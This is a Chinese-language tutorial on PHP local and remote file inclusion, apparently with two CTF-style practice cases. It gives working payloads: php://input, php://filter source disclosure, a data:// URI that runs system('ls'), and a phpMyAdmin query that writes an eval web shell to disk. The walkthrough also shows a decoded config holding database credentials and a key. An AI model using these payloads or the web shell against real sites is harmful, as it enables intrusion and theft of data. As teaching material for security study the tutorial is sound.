文件包含漏洞
- 一、文件包含简介
- 二、文件包含的利用
- 三、文件包含漏洞实战
- 案例一:
- 案例二:
一、文件包含简介
文件包含漏洞可以分为 RFI (远程文件包含)和 LFI(本地文件包含漏洞)两种。而区分他们最简单的方法就是 php.ini 中是否开启了allow_url_include。如果开启 了我们就有可能包含远程文件。
1、本地文件包含 LFI(Local File Include)
2、远程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)
在 php.ini 中,allow_url_fopen 默认一直是 On,而 allow_url_include 从 php5.2 之后就默认为 Off。
相关函数
1 include()
2 include_once()
3 require()
4 require_once()
5 fopen()
6 file_get_contents()
7 file_put_contents()
8 copy()
9 parse_ini_file()
10 readfile()
11 move_upload_file()
文件包含涉及协议讲解
PHP常见伪协议如下:
1.file:// — 访问本地文件系统
2.php:// — 访问各个输入/输出流(I/O streams)
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
input流
input举例一:
index.php?file=php://input
POST:
<? phpinfo();?>
input举例二:
filter流:
通过指定末尾的文件,可以读取经 base64 加密后的文件源码,之后再 base64 解码一下就行。
?file=php://filter/read=convert.base64-encode/resource=index.php
3.zlib:// — 压缩流
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
http://127.0.0.1/include/1.php? file=zip://E:\\phpStudy\\PHPTutorial\\WWW\\include\\1.zip%23a.txt
4.data:// — 数据(RFC 2397)
data://协议必须双在on才能正常使用,即allow_url_fopen :on和allow_url_include:on
data协议查看目录路径
?file=data://text/plain,<?echo $_SERVER['DOCUMENT_ROOT'];?>
查看当前目录下文件
?file=data://text/plain,<?php system('ls');?>
查看文件内容
?file=data://text/plain,<?php $a_code = file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a_code);?>
5.phar:// — PHP 归档
可参考文章:
https://www.php.cn/toutiao-414790.html
https://paper.seebug.org/680/
phar://
(1)绕过上传限制
(2)反序列化利用
可以上传phar文件
有可以利用的魔术方法
文件操作函数的参数可控
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以反序列化的形式储存,这里就是漏洞利用的关键点。
在使用Phar:// 协议流解析Phar文件时,Meta-data中的内容都会进行反序列化
phpmyadmin执行sql语句创建一句话
select "<?php eval($_POST[aaaa]);?>" into outfile '/tmp/ch.php'
二、文件包含的利用
包含应用日志文件
包含SSH日志
文件所在目录爆破字典
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/ev0A/ArbitraryFileReadList
一些伪协议对于参数的要求
三、文件包含漏洞实战
案例一:
每个链接都点了下,发下么有可利用的点,唯一可做文章的估计是URL。
先用御剑扫一下。
发现robots.txt文件
访问
再访问/get_t_key.php,一片空白
说明get_t_key.php中没有echo输出函数
所以想到用php://filter伪协议
通过指定末尾的文件,可以读取经 base64 加密后的文件源码,之后再 base64 解码一下就行。虽然不能直接获取到 shell 等,但能读取敏感文件
php://filter/read=convert.base64-encode/resource=ge_t_key.php
但是直接读取失败了
看报错,系统为我们自动添加了php或者html后缀
还有就是路径问题,get_t_key.php中是在根目录,view的上一级,但是通过…/无法访问(…/被过滤)
删除views试下
发现可以访问网站根目录了,但是自动为文件加了后缀,手动去掉即可
Base64解码
<?php
$config = array(
'host' =>'localhost',
'user' =>'root',
'pass' =>'root',
'charset' =>'utf8',
'dbname' => 'include',
'Key'=>'9105d2d148081731'
);
案例二:
在新闻处使用and 1=1 和 and 1=2 测试发现存在出入点
使用Sqlmap跑出数据发现只有news表中的新闻,没有key
在关于本站链接处测试发现文件包含漏洞
尝试包含主页文件得到key。